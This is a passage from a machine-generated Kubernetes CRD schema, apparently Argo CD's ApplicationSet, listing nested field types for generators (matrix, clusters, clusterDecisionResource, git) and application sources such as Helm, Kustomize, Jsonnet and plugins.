                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                        type: object
                      matrix:
                        properties:
                          generators:
                            items:
                              properties:
                                clusterDecisionResource:
                                  properties:
                                    configMapRef:
                                      type: string
                                    labelSelector:
                                      properties:
                                        matchExpressions:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              operator:
                                                type: string
                                              values:
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                            required:
                                            - key
                                            - operator
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        matchLabels:
                                          additionalProperties:
                                            type: string
                                          type: object
                                      type: object
                                      x-kubernetes-map-type: atomic
                                    name:
                                      type: string
                                    requeueAfterSeconds:
                                      format: int64
                                      type: integer
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  required:
                                  - configMapRef
                                  type: object
                                clusters:
                                  properties:
                                    flatList:
                                      type: boolean
                                    selector:
                                      properties:
                                        matchExpressions:
                                          items:
                                            properties:
                                              key:
                                                type: string
                                              operator:
                                                type: string
                                              values:
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                            required:
                                            - key
                                            - operator
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        matchLabels:
                                          additionalProperties:
                                            type: string
                                          type: object
                                      type: object
                                      x-kubernetes-map-type: atomic
                                    template:
                                      properties:
                                        metadata:
                                          properties:
                                            annotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            finalizers:
                                              items:
                                                type: string
                                              type: array
                                            labels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            name:
                                              type: string
                                            namespace:
                                              type: string
                                          type: object
                                        spec:
                                          properties:
                                            destination:
                                              properties:
                                                name:
                                                  type: string
                                                namespace:
                                                  type: string
                                                server:
                                                  type: string
                                              type: object
                                            ignoreDifferences:
                                              items:
                                                properties:
                                                  group:
                                                    type: string
                                                  jqPathExpressions:
                                                    items:
                                                      type: string
                                                    type: array
                                                  jsonPointers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  kind:
                                                    type: string
                                                  managedFieldsManagers:
                                                    items:
                                                      type: string
                                                    type: array
                                                  name:
                                                    type: string
                                                  namespace:
                                                    type: string
                                                required:
                                                - kind
                                                type: object
                                              type: array
                                            info:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            project:
                                              type: string
                                            revisionHistoryLimit:
                                              format: int64
                                              type: integer
                                            source:
                                              properties:
                                                chart:
                                                  type: string
                                                directory:
                                                  properties:
                                                    exclude:
                                                      type: string
                                                    include:
                                                      type: string
                                                    jsonnet:
                                                      properties:
                                                        extVars:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                        libs:
                                                          items:
                                                            type: string
                                                          type: array
                                                        tlas:
                                                          items:
                                                            properties:
                                                              code:
                                                                type: boolean
                                                              name:
                                                                type: string
                                                              value:
                                                                type: string
                                                            required:
                                                            - name
                                                            - value
                                                            type: object
                                                          type: array
                                                      type: object
                                                    recurse:
                                                      type: boolean
                                                  type: object
                                                helm:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    fileParameters:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          path:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    ignoreMissingValueFiles:
                                                      type: boolean
                                                    kubeVersion:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          forceString:
                                                            type: boolean
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        type: object
                                                      type: array
                                                    passCredentials:
                                                      type: boolean
                                                    releaseName:
                                                      type: string
                                                    skipCrds:
                                                      type: boolean
                                                    skipSchemaValidation:
                                                      type: boolean
                                                    skipTests:
                                                      type: boolean
                                                    valueFiles:
                                                      items:
                                                        type: string
                                                      type: array
                                                    values:
                                                      type: string
                                                    valuesObject:
                                                      type: object
                                                      x-kubernetes-preserve-unknown-fields: true
                                                    version:
                                                      type: string
                                                  type: object
                                                kustomize:
                                                  properties:
                                                    apiVersions:
                                                      items:
                                                        type: string
                                                      type: array
                                                    commonAnnotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    commonAnnotationsEnvsubst:
                                                      type: boolean
                                                    commonLabels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    components:
                                                      items:
                                                        type: string
                                                      type: array
                                                    forceCommonAnnotations:
                                                      type: boolean
                                                    forceCommonLabels:
                                                      type: boolean
                                                    ignoreMissingComponents:
                                                      type: boolean
                                                    images:
                                                      items:
                                                        type: string
                                                      type: array
                                                    kubeVersion:
                                                      type: string
                                                    labelIncludeTemplates:
                                                      type: boolean
                                                    labelWithoutSelector:
                                                      type: boolean
                                                    namePrefix:
                                                      type: string
                                                    nameSuffix:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    patches:
                                                      items:
                                                        properties:
                                                          options:
                                                            additionalProperties:
                                                              type: boolean
                                                            type: object
                                                          patch:
                                                            type: string
                                                          path:
                                                            type: string
                                                          target:
                                                            properties:
                                                              annotationSelector:
                                                                type: string
                                                              group:
                                                                type: string
                                                              kind:
                                                                type: string
                                                              labelSelector:
                                                                type: string
                                                              name:
                                                                type: string
                                                              namespace:
                                                                type: string
                                                              version:
                                                                type: string
                                                            type: object
                                                        type: object
                                                      type: array
                                                    replicas:
                                                      items:
                                                        properties:
                                                          count:
                                                            anyOf:
                                                            - type: integer
                                                            - type: string
                                                            x-kubernetes-int-or-string: true
                                                          name:
                                                            type: string
                                                        required:
                                                        - count
                                                        - name
                                                        type: object
                                                      type: array
                                                    version:
                                                      type: string
                                                  type: object
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                                plugin:
                                                  properties:
                                                    env:
                                                      items:
                                                        properties:
                                                          name:
                                                            type: string
                                                          value:
                                                            type: string
                                                        required:
                                                        - name
                                                        - value
                                                        type: object
                                                      type: array
                                                    name:
                                                      type: string
                                                    parameters:
                                                      items:
                                                        properties:
                                                          array:
                                                            items:
                                                              type: string
                                                            type: array
                                                          map:
                                                            additionalProperties:
                                                              type: string
                                                            type: object
                                                          name:
                                                            type: string
                                                          string:
                                                            type: string
                                                        type: object
                                                      type: array
                                                  type: object
                                                ref:
                                                  type: string
                                                repoURL:
                                                  type: string
                                                targetRevision:
                                                  type: string
                                              required:
                                              - repoURL
                                              type: object
                                            sourceHydrator:
                                              properties:
                                                drySource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    repoURL:
                                                      type: string
                                                    targetRevision:
                                                      type: string
                                                  required:
                                                  - path
                                                  - repoURL
                                                  - targetRevision
                                                  type: object
                                                hydrateTo:
                                                  properties:
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - targetBranch
                                                  type: object
                                                syncSource:
                                                  properties:
                                                    path:
                                                      type: string
                                                    targetBranch:
                                                      type: string
                                                  required:
                                                  - path
                                                  - targetBranch
                                                  type: object
                                              required:
                                              - drySource
                                              - syncSource
                                              type: object
                                            sources:
                                              items:
                                                properties:
                                                  chart:
                                                    type: string
                                                  directory:
                                                    properties:
                                                      exclude:
                                                        type: string
                                                      include:
                                                        type: string
                                                      jsonnet:
                                                        properties:
                                                          extVars:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                          libs:
                                                            items:
                                                              type: string
                                                            type: array
                                                          tlas:
                                                            items:
                                                              properties:
                                                                code:
                                                                  type: boolean
                                                                name:
                                                                  type: string
                                                                value:
                                                                  type: string
                                                              required:
                                                              - name
                                                              - value
                                                              type: object
                                                            type: array
                                                        type: object
                                                      recurse:
                                                        type: boolean
                                                    type: object
                                                  helm:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      fileParameters:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            path:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      ignoreMissingValueFiles:
                                                        type: boolean
                                                      kubeVersion:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            forceString:
                                                              type: boolean
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          type: object
                                                        type: array
                                                      passCredentials:
                                                        type: boolean
                                                      releaseName:
                                                        type: string
                                                      skipCrds:
                                                        type: boolean
                                                      skipSchemaValidation:
                                                        type: boolean
                                                      skipTests:
                                                        type: boolean
                                                      valueFiles:
                                                        items:
                                                          type: string
                                                        type: array
                                                      values:
                                                        type: string
                                                      valuesObject:
                                                        type: object
                                                        x-kubernetes-preserve-unknown-fields: true
                                                      version:
                                                        type: string
                                                    type: object
                                                  kustomize:
                                                    properties:
                                                      apiVersions:
                                                        items:
                                                          type: string
                                                        type: array
                                                      commonAnnotations:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      commonAnnotationsEnvsubst:
                                                        type: boolean
                                                      commonLabels:
                                                        additionalProperties:
                                                          type: string
                                                        type: object
                                                      components:
                                                        items:
                                                          type: string
                                                        type: array
                                                      forceCommonAnnotations:
                                                        type: boolean
                                                      forceCommonLabels:
                                                        type: boolean
                                                      ignoreMissingComponents:
                                                        type: boolean
                                                      images:
                                                        items:
                                                          type: string
                                                        type: array
                                                      kubeVersion:
                                                        type: string
                                                      labelIncludeTemplates:
                                                        type: boolean
                                                      labelWithoutSelector:
                                                        type: boolean
                                                      namePrefix:
                                                        type: string
                                                      nameSuffix:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      patches:
                                                        items:
                                                          properties:
                                                            options:
                                                              additionalProperties:
                                                                type: boolean
                                                              type: object
                                                            patch:
                                                              type: string
                                                            path:
                                                              type: string
                                                            target:
                                                              properties:
                                                                annotationSelector:
                                                                  type: string
                                                                group:
                                                                  type: string
                                                                kind:
                                                                  type: string
                                                                labelSelector:
                                                                  type: string
                                                                name:
                                                                  type: string
                                                                namespace:
                                                                  type: string
                                                                version:
                                                                  type: string
                                                              type: object
                                                          type: object
                                                        type: array
                                                      replicas:
                                                        items:
                                                          properties:
                                                            count:
                                                              anyOf:
                                                              - type: integer
                                                              - type: string
                                                              x-kubernetes-int-or-string: true
                                                            name:
                                                              type: string
                                                          required:
                                                          - count
                                                          - name
                                                          type: object
                                                        type: array
                                                      version:
                                                        type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                  plugin:
                                                    properties:
                                                      env:
                                                        items:
                                                          properties:
                                                            name:
                                                              type: string
                                                            value:
                                                              type: string
                                                          required:
                                                          - name
                                                          - value
                                                          type: object
                                                        type: array
                                                      name:
                                                        type: string
                                                      parameters:
                                                        items:
                                                          properties:
                                                            array:
                                                              items:
                                                                type: string
                                                              type: array
                                                            map:
                                                              additionalProperties:
                                                                type: string
                                                              type: object
                                                            name:
                                                              type: string
                                                            string:
                                                              type: string
                                                          type: object
                                                        type: array
                                                    type: object
                                                  ref:
                                                    type: string
                                                  repoURL:
                                                    type: string
                                                  targetRevision:
                                                    type: string
                                                required:
                                                - repoURL
                                                type: object
                                              type: array
                                            syncPolicy:
                                              properties:
                                                automated:
                                                  properties:
                                                    allowEmpty:
                                                      type: boolean
                                                    enabled:
                                                      type: boolean
                                                    prune:
                                                      type: boolean
                                                    selfHeal:
                                                      type: boolean
                                                  type: object
                                                managedNamespaceMetadata:
                                                  properties:
                                                    annotations:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                    labels:
                                                      additionalProperties:
                                                        type: string
                                                      type: object
                                                  type: object
                                                retry:
                                                  properties:
                                                    backoff:
                                                      properties:
                                                        duration:
                                                          type: string
                                                        factor:
                                                          format: int64
                                                          type: integer
                                                        maxDuration:
                                                          type: string
                                                      type: object
                                                    limit:
                                                      format: int64
                                                      type: integer
                                                  type: object
                                                syncOptions:
                                                  items:
                                                    type: string
                                                  type: array
                                              type: object
                                          required:
                                          - destination
                                          - project
                                          type: object
                                      required:
                                      - metadata
                                      - spec
                                      type: object
                                    values:
                                      additionalProperties:
                                        type: string
                                      type: object
                                  type: object
                                git:
                                  properties:
                                    directories:
                                      items:
                                        properties:
                                          exclude:
                                            type: boolean
                                          path:
                                            type: string
                                        required:
                                        - path
                                        type: object
                                      type: array
